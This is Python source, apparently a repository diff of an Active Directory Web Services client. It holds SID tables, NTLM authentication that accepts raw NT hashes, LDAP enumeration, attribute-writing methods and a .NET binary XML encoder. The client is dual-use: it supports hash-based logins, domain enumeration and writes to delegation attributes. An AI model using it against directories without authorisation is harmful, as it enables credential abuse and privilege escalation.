SAM_USER_OBJECT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
SAM_APP_BASIC_GROUP = 0x40000000
SAM_APP_QUERY_GROUP = 0x40000001
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/describeTicket.py#L118
BUILT_IN_GROUPS = {
"498": "Enterprise Read-Only Domain Controllers",
"512": "Domain Admins",
"513": "Domain Users",
"514": "Domain Guests",
"515": "Domain Computers",
"516": "Domain Controllers",
"517": "Cert Publishers",
"518": "Schema Admins",
"519": "Enterprise Admins",
"520": "Group Policy Creator Owners",
"521": "Read-Only Domain Controllers",
"522": "Cloneable Controllers",
"525": "Protected Users",
"526": "Key Admins",
"527": "Enterprise Key Admins",
"553": "RAS and IAS Servers",
"571": "Allowed RODC Password Replication Group",
"572": "Denied RODC Password Replication Group",
}
# Universal SIDs
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
class ADWSError(Exception): ...
class ADWSAuthType: ...
class NTLMAuth(ADWSAuthType):
def __init__(self, password: str | None = None, hashes: str | None = None):
if not (password or hashes):
raise ValueError("NTLM auth requires either a password or hashes.")
if password and hashes:
raise ValueError("Provide either a password or hashes, not both.")
if hashes:
self.nt = hashes
else:
self.nt = None
self.password = password
class ADWSConnect:
def __init__(
self,
fqdn: str,
domain: str,
username: str,
auth: NTLMAuth,
resource: str,
):
"""Creates an ADWS client connection to the specified endpoint
useing the specified auth. Allows for making different types of
queries to the ADWS Server.
The client connects to different endpoints which allow different types
of requests to be made. **See [MS-ADDM]: 2.1 for a full list of endpoints.** This
client only supports endpoints which use windows integrated authentication.
Args:
fqdn (str): fqdn of the domain controler the adws service is running on
domain (str): the domain
username (str): user to auth as
auth (NTLMAuth): auth mechanism to use
resource (str): the resource dictates what endpoint the client
connects to which in turn dictates what types of requests
it can make
"""
self._fqdn = fqdn
self._domain = domain
self._username = username
self._auth = auth
self._resource: str = resource
"""the connection mode of the client <'Resource', 'ResourceFactory',
'Enumeration', AccountManagement', 'TopologyManagement'>"""
self._nmf: ms_nmf.NMFConnection = self._connect(self._fqdn, self._resource)
def _create_NNS_from_auth(self, sock: socket.socket) -> NNS:
if isinstance(self._auth, NTLMAuth):
return NNS(
socket=sock,
fqdn=self._fqdn,
domain=self._domain,
username=self._username,
password=self._auth.password,
nt=self._auth.nt if self._auth.nt else "",
)
raise NotImplementedError
def _connect(self, remoteName: str, resource: str) -> ms_nmf.NMFConnection:
"""Connect to the specified ADWS endpoint at the
remoteName
Args:
remoteName (str): fqdn
resource (str): endpoint to connect to <'Resource', 'ResourceFactory',
'Enumeration', AccountManagement', 'TopologyManagement'>
"""
server_address: tuple[str, int] = (remoteName, 9389)
logging.info(f"Connecting to {remoteName} for {self._resource}")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(server_address)
nmf = ms_nmf.NMFConnection(
self._create_NNS_from_auth(sock),
fqdn=remoteName,
)
nmf.connect(f"Windows/{resource}")
return nmf
def _query_enumeration(
self, remoteName: str, nmf: ms_nmf.NMFConnection, query: str, attributes: list
) -> str | None:
"""Send the query and set up an enumeration context for the results
Args:
remoteName (str): remote server fqdn, used for soap addressing
nmf (ms_nmf.NMFConnection): the transport to use
query (str): the ldap query to use
attributes (list): ldap attributes to return
Returns:
str or None: the enumeration context, or None in error
"""
"""Format passed attributes"""
fAttributes: str = ""
for attr in attributes:
fAttributes += (
"<ad:SelectionProperty>addata:{attr}</ad:SelectionProperty>\n".format(
attr=attr
)
)
query_vars = {
"uuid": str(uuid4()),
"fqdn": remoteName,
"query": query,
"attributes": fAttributes,
"baseobj": ",".join([f"DC={i}" for i in self._domain.split(".")]),
}
enumeration = LDAP_QUERY_FSTRING.format(**query_vars)
nmf.send(enumeration)
enumerationResponse = nmf.recv()
et = self._handle_str_to_xml(enumerationResponse)
if not et:
raise ValueError("was unable to parse xml from the server response")
enum_ctx = et.find(".//wsen:EnumerationContext", NAMESPACES)
return enum_ctx.text if enum_ctx is not None else None
def _pull_results(
self, remoteName: str, nmf: ms_nmf.NMFConnection, enum_ctx: str
) -> tuple[ElementTree.Element, bool]:
"""pull the results of an enumeration ctx from server.
Returns the results, and if there are no more results,
returns the last result and false.
Args:
remoteName (str): the fqdn of the server, for soap addressing
nmf (ms_nmf.NMFConnection): the transport to use
enum_ctx (str): the enumeration ctx to pull
Returns:
Tuple(Element, bool): the result, and more to pull
"""
pull_vars = {
"uuid": str(uuid4()),
"fqdn": remoteName,
"enum_ctx": enum_ctx,
}
pull = LDAP_PULL_FSTRING.format(**pull_vars)
nmf.send(pull)
pullResponse = nmf.recv()
et = self._handle_str_to_xml(pullResponse)
if not et:
raise ValueError("was unable to parse xml from the server response")
final_pkt = et.find(".//wsen:EndOfSequence", namespaces=NAMESPACES)
if final_pkt is not None:
return (et, False)
return (et, True)
def _handle_str_to_xml(self, xmlstr: str) -> ElementTree.Element | None:
"""Takes an xml string and returns an Element of the root
node of an xml object.
Also deals with error and faults in the response
Args:
xmlstr (str): str form of xml data
Returns:
Element: xml object
Raises:
ADWSError: Raises if there is a fault in the
soap message return by the server
"""
if ":Fault>" and ":Reason>" not in xmlstr:
return ElementTree.fromstring(xmlstr)
def manually_cut_out_fault(xml_str: str) -> str:
"""cut out the fault text description using
slices. This is dirty and not certain but
if it cant be parsed with xml parsers, its
all we have.
Args:
xml_str (str): str of xml data
Returns:
str: the fault msg
"""
starttag = xml_str.find(":Text") + len(":Text")
endtag = xml_str[starttag:].find(":Text")
return xml_str[starttag : starttag + endtag]
et: ElementTree.Element | None = None
try:
et = ElementTree.fromstring(xmlstr)
except ElementTree.ParseError:
msg = manually_cut_out_fault(xmlstr)
raise ADWSError(msg)
base_msg = str()
fault = et.find(".//soapenv:Fault", namespaces=NAMESPACES)
if not fault: # maybe there isnt actually anything erroring?
return et
reason = fault.find(".//soapenv:Text", namespaces=NAMESPACES)
base_msg += reason.text if reason is not None else "" # type: ignore
detail = fault.find(".//soapenv:Detail", namespaces=NAMESPACES)
if detail is not None:
ElementTree.indent(detail)
detail_xmlstr = (
ElementTree.tostring(detail, encoding="unicode")
if detail is not None
else ""
)
else:
detail_xmlstr = ""
raise ADWSError(base_msg + detail_xmlstr)
def _get_tag_name(self, elem: ElementTree.Element) -> str:
return elem.tag.split("}")[-1] if "}" in elem.tag else elem.tag
def _format_flags(self, value: int, intflag_class: Type[IntFlag]) -> str:
"""
Formats an integer value into a string of flags based on an IntFlag class.
Args:
value (int): The integer value to format.
intflag_class (Type[IntFlag]): The IntFlag class to use for flag names.
Returns:
str: The formatted string representing the flags.
"""
flags = [
flag.name if flag & int(value) else f"{flag.value:#010x}"
for flag in intflag_class
if flag & int(value)
]
flags = [flag for flag in flags if flag]
flag_results = f" flags: {', '.join(flags)}" if flags else ""
return f"{value}{flag_results}"
def _pretty_print_response(
self, et: ElementTree.Element, print_synthetic_vars: bool = False
) -> None:
"""Pretty print the xml ldap objects in the response.
Handle translating types from LDAPSyntax to human readable
Args:
et (ElementTree.Element): response xml element tree
print_synthetic_vars (bool): print synthetic vars, see ([MS-ADDM]: 2.3.3)
"""
for item in et.findall(".//ad:value/../..", namespaces=NAMESPACES):
synthetic_attributes = []
print(
("[+] Object Found: " + self._get_tag_name(item)),
end="\n",
)
object_values: dict[str, str] = {}
for part in item.findall(".//ad:value/..", namespaces=NAMESPACES):
if "LdapSyntax" not in part.attrib:
if print_synthetic_vars:
synthetic_attributes.append(part)
continue
name = self._get_tag_name(part)
syntax = part.attrib["LdapSyntax"]
values = [
value.text
for value in part.findall(".//ad:value", namespaces=NAMESPACES)
if value is not None and value.text
]
parsed: list[str] = []
if syntax == "SidString":
for value in values:
sid = LDAP_SID(data=b64decode(value)).formatCanonical()
if sid in WELL_KNOWN_SIDS:
sid += f" Well known sid: {WELL_KNOWN_SIDS[sid]}"
parsed.append(sid)
elif syntax == "GeneralizedTimeString":
parsed = [
GeneralizedTime(value).asDateTime.astimezone().isoformat()
for value in values
]
if name in [
"accountExpires",
"lastLogoff",
"badPasswordTime",
"lastLogon",
"pwdLastSet",
"lastLogonTimestamp",
]:
for v in values:
if int(v) == 0x0 or int(v) == 0x7FFFFFFFFFFFFFFF:
parsed.append("none/never")
else:
us = int(v) / 10
parsed.append(
(
datetime.datetime(
1601, 1, 1, tzinfo=datetime.timezone.utc
)
+ datetime.timedelta(microseconds=us)
).isoformat()
)
elif name in ["objectGUID"]:
parsed = [str(UUID(bytes=b64decode(value))) for value in values]
elif name == "userAccountControl":
parsed = [
self._format_flags(int(value), AccountPropertyFlag)
for value in values
]
elif name == "sAMAccountType":
parsed = [
self._format_flags(int(value), SamAccountType)
for value in values
]
elif name == "primaryGroupID":
parsed = []
for value in values:
group = value
if value in BUILT_IN_GROUPS:
group += f" Well known group: {BUILT_IN_GROUPS[value]}"
parsed.append(group)
elif name == "groupType":
parsed = [
self._format_flags(int(value), GroupTypeFlags)
for value in values
]
elif name == "instanceType":
parsed = [
self._format_flags(int(value), InstanceTypeFlags)
for value in values
]
elif name == "systemFlags":
parsed = [
self._format_flags(int(value), SystemFlags) for value in values
]
elif name == "msDS-AllowedToActOnBehalfOfOtherIdentity":
parsed = []
for value in values:
sd = SR_SECURITY_DESCRIPTOR(data=b64decode(value))
aces = [
ace["Ace"]["Sid"].formatCanonical()
for ace in sd["Dacl"].aces
if ace["AceType"]
in (
ACCESS_ALLOWED_CALLBACK_OBJECT_ACE.ACE_TYPE,
ACCESS_ALLOWED_ACE.ACE_TYPE,
ACCESS_ALLOWED_CALLBACK_ACE.ACE_TYPE,
ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE,
SYSTEM_MANDATORY_LABEL_ACE.ACE_TYPE,
)
]
parsed.append(f"{value} DACL ACE SIDs: {' '.join(aces)}")
object_values[name] = " ".join(parsed if parsed else values)
format_str = f"{{:>{22}}}: {{:<}}"
for k, v in object_values.items():
print(format_str.format(k, v))
print()
if print_synthetic_vars:
for part in synthetic_attributes:
name = self._get_tag_name(part)
values = [
value.text
for value in part.findall(".//ad:value", namespaces=NAMESPACES)
if value is not None and value.text
]
print(f"{name}: {' '.join(values)}")
def put(
self,
object_ref: str,
operation: str,
attribute: str,
data_type: str,
value: str,
) -> bool:
"""CRUD on attribute
Args:
client (NMFConnection): connected client
object_ref (str): DN of object to write attribute on
fqdn (str): fqdn of the DC
operation (str): operation to preform on the attribute: <'add', 'delete', 'replace'> [MS-WSTIM]: 3.2.4.2.3.1
attribute (str): attribute type including the namespace
data_type (str): datatype, <'string', 'base64Base'> [MS-ADDM]: 2.3.4
value (str): string value for attribute in UTF-8
Returns:
bool: error
"""
if self._resource != "Resource":
raise NotImplementedError("Put is only supported on 'put' clients")
put_vars = {
"object_ref": object_ref,
"uuid": str(uuid4()),
"fqdn": self._fqdn,
"operation": operation,
"attribute": attribute,
"data_type": data_type,
"value": value,
}
put_msg = LDAP_PUT_FSTRING.format(**put_vars)
self._nmf.send(put_msg)
resp_str = self._nmf.recv()
et = self._handle_str_to_xml(resp_str)
if not et:
raise ValueError("was unable to parse xml from the server response")
body = et.find(".//soapenv:Body", namespaces=NAMESPACES)
return (
body is None
or len(body) == 0
and (body.text is None or body.text.strip() == "")
)
def pull(
self,
query: str,
attributes: list,
print_incrementally: bool = False,
) -> ElementTree.Element:
"""Makes an LDAP query using ADWS to the specified server
Args:
fqdn (str): the fqdn of the domain controller
query (str): the ldap query as a string
print_incrementally (bool): print the results as they come in
Returns:
ElementTree.Element: The soap response as xml
"""
if self._resource != "Enumeration":
raise NotImplementedError("Pull is only supported on 'pull' clients")
enum_ctx = self._query_enumeration(
remoteName=self._fqdn,
nmf=self._nmf,
query=query,
attributes=attributes,
)
if enum_ctx is None:
logging.error(
"Server did not return an enumeration context in response to making a query"
)
raise ValueError("unable to get enumeration context")
ElementTree.register_namespace("wsen", NAMESPACES["wsen"])
results: ElementTree.Element = ElementTree.Element("wsen:Items")
more_results = True
while more_results:
et, more_results = self._pull_results(
remoteName=self._fqdn, nmf=self._nmf, enum_ctx=enum_ctx
)
if len(et.findall(".//wsen:Items", namespaces=NAMESPACES)) == 0:
logging.critical("No objects returned")
else:
for item in et.findall(".//wsen:Items", namespaces=NAMESPACES):
results.append(item)
if print_incrementally:
self._pretty_print_response(et)
return results
@classmethod
def pull_client(cls, ip: str, domain: str, username: str, auth: NTLMAuth) -> Self:
return cls(ip, domain, username, auth, "Enumeration")
@classmethod
def put_client(cls, ip: str, domain: str, username: str, auth: NTLMAuth) -> Self:
return cls(ip, domain, username, auth, "Resource")
@classmethod
def create_client(
cls, ip: str, domain: str, username: str, auth: NTLMAuth
) -> Self:
# return cls(ip, domain, username, auth, "ResourceFactory")
raise NotImplementedError()
@classmethod
def accounts_cap_client(
cls, ip: str, domain: str, username: str, auth: NTLMAuth
) -> Self:
# return cls(ip, domain, username, auth, "AccountManagement")
raise NotImplementedError()
@classmethod
def topology_cap_client(
cls, ip: str, domain: str, username: str, auth: NTLMAuth
) -> Self:
# return cls(ip, domain, username, auth, "TopologyManagement")
raise NotImplementedError()
+4
View File
@@ -0,0 +1,4 @@
from .xml_parser import XMLParser
from .encoder import Encoder
__all__ = ["XMLParser", "Encoder"]
+123
View File
@@ -0,0 +1,123 @@
from io import BytesIO
from .records import Net7BitInteger, record, dump_records, print_records
from .xml_parser import XMLParser
class Encoder:
"""Preforms encoding and decoding on xml data.
Compliant with [MC-NBFX] and known extentions.
Supports known encoding types:
[MC-NBFS]
[MC-NBFSE]
"""
def __init__(self, encoding: int = 0x8):
self._encoding = encoding
"""
# TODO:
Notes:
Need to deal with persistant nbfse talk.
Since we are the sender, we dont need
to track a dict from the server I think.
The exception to this is mex responses. The server
sends dictionaries with mex responses
We should prefer to not use a dict if possible.
"""
def _extract_dict_from_xml(self) -> dict[int, str]:
"""TODO: needs to be populated"""
return {}
def _inband_dict_to_bin(self, inbandDict: dict[int, str]) -> bytes:
"""Convert dict into string table and seralize"""
string_table = bytes()
for _, v in inbandDict.items():
size = Net7BitInteger.encode7bit(len(v.encode("utf-8")))
string_table += size + v.encode("utf-8")
size = Net7BitInteger.encode7bit(len(string_table))
return size + string_table
def _extract_stringtable_inband(self, data) -> dict[int, str]:
"""Extract strings from inband dict and place them into
the string table.
"""
string_table = {}
idx = 1
while data:
size, len_len = Net7BitInteger.decode7bit(data)
word = data[len_len : len_len + size]
data = data[len_len + size :]
string_table[idx] = word
idx += 2
return string_table
# ========== Interface =============
def encode(self, xml: str) -> bytes:
"""Serialize xml data with appropreate
encoding type into bytes.
Args:
xml (str): xml data in string form
Returns:
(bytes): encoded xml data
"""
r = XMLParser.parse(xml)
base_data = dump_records(r)
if self._encoding == 0x07: # NBFS
return base_data
if self._encoding == 0x08: # NBFSE
inbandDict = self._inband_dict_to_bin(self._extract_dict_from_xml())
return inbandDict + base_data
def decode(self, data: bytes) -> str:
"""Deseralize and decode xml bytes into
string form
Args:
data (bytes): seralize and encoded data
Returns:
(str): xml in string form
"""
if self._encoding == 0x07:
data = data
if self._encoding == 0x08:
size3, len_len3 = Net7BitInteger.decode7bit(data)
# if there is something in the inband dict
if size3 != 0:
# cut off just the dict part and try to extract it
string_table = self._extract_stringtable_inband(
data[len_len3 : len_len3 + size3]
)
print(string_table)
# then index data to be the start of the actual xml blob
data = data[len_len3 + size3 :]
r = record.parse(BytesIO(data)) # begin parsing from first record
xml = print_records(r)
return xml
+5
View File
@@ -0,0 +1,5 @@
from .constants import *
from .record import record
from .utils import Net7BitInteger, dump_records, print_records
__all__ = ["record", "Net7BitInteger", "dump_records", "print_records"]
+307
View File
@@ -0,0 +1,307 @@
import struct
from typing import Self
from .datatypes import MultiByteInt31, Utf8String
from .constants import DICTIONARY
from .record import record, Attribute
class ShortAttributeRecord(Attribute):
type = 0x04
def __init__(self, name: str, value: record):
self.name = name
self.value = value
def to_bytes(self) -> bytes:
"""
>>> ShortAttributeRecord('test', TrueTextRecord()).to_bytes()
'\\x04\\x04test\\x86'
"""
bytes = super(ShortAttributeRecord, self).to_bytes()
bytes += Utf8String(self.name).to_bytes()
bytes += self.value.to_bytes()
return bytes
def __str__(self):
return '%s="%s"' % (self.name, str(self.value))
@classmethod
def parse(cls, fp) -> Self:
name: str = Utf8String.parse(fp).value
type: int = struct.unpack("<B", fp.read(1))[0]
value: record = record.records[type].parse(fp)
return cls(name, value)
class AttributeRecord(Attribute):
type = 0x05
def __init__(self, prefix: str, name: str, value: record):
self.prefix = prefix
self.name = name
self.value = value
def to_bytes(self) -> bytes:
"""
>>> AttributeRecord('x', 'test', TrueTextRecord()).to_bytes()
'\\x05\\x01x\\x04test\\x86'
"""
bytes = super(AttributeRecord, self).to_bytes()
bytes += Utf8String(self.prefix).to_bytes()
bytes += Utf8String(self.name).to_bytes()
bytes += self.value.to_bytes()
return bytes
def __str__(self):
return '%s:%s="%s"' % (self.prefix, self.name, str(self.value))
@classmethod
def parse(cls, fp) -> Self:
prefix: str = Utf8String.parse(fp).value
name: str = Utf8String.parse(fp).value
type: int = struct.unpack("<B", fp.read(1))[0]
value: record = record.records[type].parse(fp)
return cls(prefix, name, value)
class ShortDictionaryAttributeRecord(Attribute):
type = 0x06
def __init__(self, index: int, value: record):
self.index = index
self.value = value
def to_bytes(self) -> bytes:
"""
''>>> ShortDictionaryAttributeRecord(3, TrueTextRecord()).to_bytes()
'\\x06\\x03\\x86'
"""
bytes = super(ShortDictionaryAttributeRecord, self).to_bytes()
bytes += MultiByteInt31(self.index).to_bytes()
bytes += self.value.to_bytes()
return bytes
def __str__(self):
return '%s="%s"' % (DICTIONARY[self.index], str(self.value))
@classmethod
def parse(cls, fp) -> Self:
index: int = MultiByteInt31.parse(fp).value
type: int = struct.unpack("<B", fp.read(1))[0]
value: record = record.records[type].parse(fp)
return cls(index, value)
class DictionaryAttributeRecord(Attribute):
type = 0x07
def __init__(self, prefix: str, index: int, value: record):
self.prefix = prefix
self.index = index
self.value = value
def to_bytes(self) -> bytes:
"""
>>> DictionaryAttributeRecord('x', 2, TrueTextRecord()).to_bytes()
'\\x07\\x01x\\x02\\x86'
"""
bytes = super(DictionaryAttributeRecord, self).to_bytes()
bytes += Utf8String(self.prefix).to_bytes()
bytes += MultiByteInt31(self.index).to_bytes()
bytes += self.value.to_bytes()
return bytes
def __str__(self):
return '%s:%s="%s"' % (self.prefix, DICTIONARY[self.index], str(self.value))
@classmethod
def parse(cls, fp) -> Self:
prefix: str = Utf8String.parse(fp).value
index: int = MultiByteInt31.parse(fp).value
type: int = struct.unpack("<B", fp.read(1))[0]
value: record = record.records[type].parse(fp)
return cls(prefix, index, value)
class ShortDictionaryXmlnsAttributeRecord(Attribute):
type = 0x0A
def __init__(self, index: int):
self.index = index
def __str__(self):
return 'xmlns="%s"' % (DICTIONARY[self.index],)
def to_bytes(self) -> bytes:
"""
>>> ShortDictionaryXmlnsAttributeRecord( 6).to_bytes()
'\\n\\x06'
"""
bytes = struct.pack("<B", self.type)
bytes += MultiByteInt31(self.index).to_bytes()
return bytes
@classmethod
def parse(cls, fp) -> Self:
index: int = MultiByteInt31.parse(fp).value
return cls(index)
class DictionaryXmlnsAttributeRecord(Attribute):
type = 0x0B
def __init__(self, prefix: str, index: int):
self.prefix = prefix
self.index = index
def __str__(self):
return 'xmlns:%s="%s"' % (self.prefix, DICTIONARY[self.index])
def to_bytes(self) -> bytes:
"""
>>> DictionaryXmlnsAttributeRecord('a', 6).to_bytes()
'\\x0b\\x01\x61\\x06'
"""
bytes = struct.pack("<B", self.type)
bytes += Utf8String(self.prefix).to_bytes()
bytes += MultiByteInt31(self.index).to_bytes()
return bytes
@classmethod
def parse(cls, fp) -> Self:
prefix: str = Utf8String.parse(fp).value
index: int = MultiByteInt31.parse(fp).value
return cls(prefix, index)
class ShortXmlnsAttributeRecord(Attribute):
type = 0x08
def __init__(self, value: str, *args, **kwargs):
super(ShortXmlnsAttributeRecord, self).__init__(*args, **kwargs)
self.value = value
def to_bytes(self) -> bytes:
bytes = struct.pack("<B", self.type)
bytes += Utf8String(self.value).to_bytes()
return bytes
def __str__(self):
return 'xmlns="%s"' % (self.value,)
@classmethod
def parse(cls, fp) -> Self:
value: str = Utf8String.parse(fp).value
return cls(value)
class XmlnsAttributeRecord(Attribute):
type = 0x09
def __init__(self, name: str, value: str, *args, **kwargs):
super(XmlnsAttributeRecord, self).__init__(*args, **kwargs)
self.name = name
self.value = value
def to_bytes(self) -> bytes:
bytes = struct.pack("<B", self.type)
bytes += Utf8String(self.name).to_bytes()
bytes += Utf8String(self.value).to_bytes()
return bytes
def __str__(self):
return 'xmlns:%s="%s"' % (self.name, self.value)
@classmethod
def parse(cls, fp) -> Self:
name: str = Utf8String.parse(fp).value
value: str = Utf8String.parse(fp).value
return cls(name, value)
class PrefixAttributeRecord(AttributeRecord):
def __init__(self, name: str, value: record):
super(PrefixAttributeRecord, self).__init__(self.char, name, value)
def to_bytes(self) -> bytes:
string = Utf8String(self.name)
return struct.pack("<B", self.type) + string.to_bytes() + self.value.to_bytes()
@classmethod
def parse(cls, fp) -> Self:
name: str = Utf8String.parse(fp).value
type: int = struct.unpack("<B", fp.read(1))[0]
value: record = record.records[type].parse(fp)
return cls(name, value)
class PrefixDictionaryAttributeRecord(DictionaryAttributeRecord):
def __init__(self, index: int, value):
super(PrefixDictionaryAttributeRecord, self).__init__(self.char, index, value)
# TODO: what is self.char?
def to_bytes(self) -> bytes:
idx = MultiByteInt31(self.index)
return struct.pack("<B", self.type) + idx.to_bytes() + self.value.to_bytes()
@classmethod
def parse(cls, fp) -> Self:
index: int = MultiByteInt31.parse(fp).value
type: int = struct.unpack("<B", fp.read(1))[0]
value: record = record.records[type].parse(fp)
return cls(index, value)
record.add_records(
(
ShortAttributeRecord,
AttributeRecord,
ShortDictionaryAttributeRecord,
DictionaryAttributeRecord,
ShortDictionaryXmlnsAttributeRecord,
DictionaryXmlnsAttributeRecord,
ShortXmlnsAttributeRecord,
XmlnsAttributeRecord,
)
)
__records__ = []
for c in range(0x0C, 0x25 + 1):
char = chr(c - 0x0C + ord("a"))
cls = type(
"PrefixDictionaryAttribute" + char.upper() + "Record",
(PrefixDictionaryAttributeRecord,),
dict(
type=c,
char=char,
),
)
__records__.append(cls)
for c in range(0x26, 0x3F + 1):
char = chr(c - 0x26 + ord("a"))
cls = type(
"PrefixAttribute" + char.upper() + "Record",
(PrefixAttributeRecord,),
dict(
type=c,
char=char,
),
)
__records__.append(cls)
record.add_records(__records__)
del __records__
+550
View File
@@ -0,0 +1,550 @@
TAG_END = 0x01
# Attribute types
ATTRIBUTE_TYPES = range(0x04, 0x3F)
SHORT_ATTRIBUTE_TYPE = 0x04
ATTRIBUTE_TYPE = 0x05
SHORT_DICTIONARY_ATTRIBUTE_TYPE = 0x06
DICTIONARY_ATTRIBUTE_TYPE = 0x07
SHORT_XMLNS_ATTRIBUTE_TYPE = 0x08
XMLNS_ATTRIBUTE_TYPE = 0x09
SHORT_DICTIONARY_XMLNS_ATTRIBUTE_TYPE = 0x0A
DICTIONARY_XMLNS_ATTRIBUTE_TYPE = 0x0B
PREFIX_ATTRIBUTE_TYPES = range(0x26, 0x3F)
PREFIX_DICTIONARY_ATTRIBUTE_TYPES = range(0x0C, 0x25)
# Element types
ELEMENT_TYPES = range(0x40, 0x77)
SHORT_ELEMENT = 0x40
ELEMENT = 0x41
SHORT_DICTIONARY_ELEMENT = 0x42
DICTIONARY_ELEMENT = 0x43
PREFIX_DICTIONARY_ELEMENTS = range(0x44, 0x5D)
PREFIX_ELEMENTS = range(0x5E, 0x77)
# Values types
VALUE_TYPES = range(0x80, 0xBD)
VALUE_ZERO = 0x80
VALUE_ONE = 0x82
VALUE_FALSE = 0x84
VALUE_TRUE = 0x86
VALUE_INT8 = 0x88
VALUE_INT16 = 0x8A
VALUE_INT32 = 0x8C
VALUE_INT64 = 0x8E
VALUE_FLOAT = 0x90
VALUE_DOUBLE = 0x92
# Decimal value is not implemented
VALUE_DATETIME = 0x96
VALUE_CHARS8 = 0x98
VALUE_CHARS16 = 0x9A
VALUE_CHARS32 = 0x9C
# Bytes and List values are not implemented
VALUE_EMPTY_TEXT = 0xA8
VALUE_DICTIONARY = 0xAA
VALUE_UNIQUEID = 0xAC
# TimeSpan and UUID are not implemented
VALUE_UINT64 = 0xB2
# Bool, UnicodeChars8, UnicodeChars16, UnicodeChars32 and QNameDictionary values are not implemented
DICTIONARY = {
0x00: "mustUnderstand",
0x02: "Envelope",
0x04: "http://www.w3.org/2003/05/soap-envelope",
0x06: "http://www.w3.org/2005/08/addressing",
0x08: "Header",
0x0A: "Action",
0x0C: "To",
0x0E: "Body",
0x10: "Algorithm",
0x12: "RelatesTo",
0x14: "http://www.w3.org/2005/08/addressing/anonymous",
0x16: "URI",
0x18: "Reference",
0x1A: "MessageID",
0x1C: "Id",
0x1E: "Identifier",
0x20: "http://schemas.xmlsoap.org/ws/2005/02/rm",
0x22: "Transforms",
0x24: "Transform",
0x26: "DigestMethod",
0x28: "DigestValue",
0x2A: "Address",
0x2C: "ReplyTo",
0x2E: "SequenceAcknowledgement",
0x30: "AcknowledgementRange",
0x32: "Upper",
0x34: "Lower",
0x36: "BufferRemaining",
0x38: "http://schemas.microsoft.com/ws/2006/05/rm",
0x3A: "http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement",
0x3C: "SecurityTokenReference",
0x3E: "Sequence",
0x40: "MessageNumber",
0x42: "http://www.w3.org/2000/09/xmldsig#",
0x44: "http://www.w3.org/2000/09/xmldsig#enveloped-signature",
0x46: "KeyInfo",
0x48: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd",
0x4A: "http://www.w3.org/2001/04/xmlenc#",
0x4C: "http://schemas.xmlsoap.org/ws/2005/02/sc",
0x4E: "DerivedKeyToken",
0x50: "Nonce",
0x52: "Signature",
0x54: "SignedInfo",
0x56: "CanonicalizationMethod",
0x58: "SignatureMethod",
0x5A: "SignatureValue",
0x5C: "DataReference",
0x5E: "EncryptedData",
0x60: "EncryptionMethod",
0x62: "CipherData",
0x64: "CipherValue",
0x66: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd",
0x68: "Security",
0x6A: "Timestamp",
0x6C: "Created",
0x6E: "Expires",
0x70: "Length",
0x72: "ReferenceList",
0x74: "ValueType",
0x76: "Type",
0x78: "EncryptedHeader",
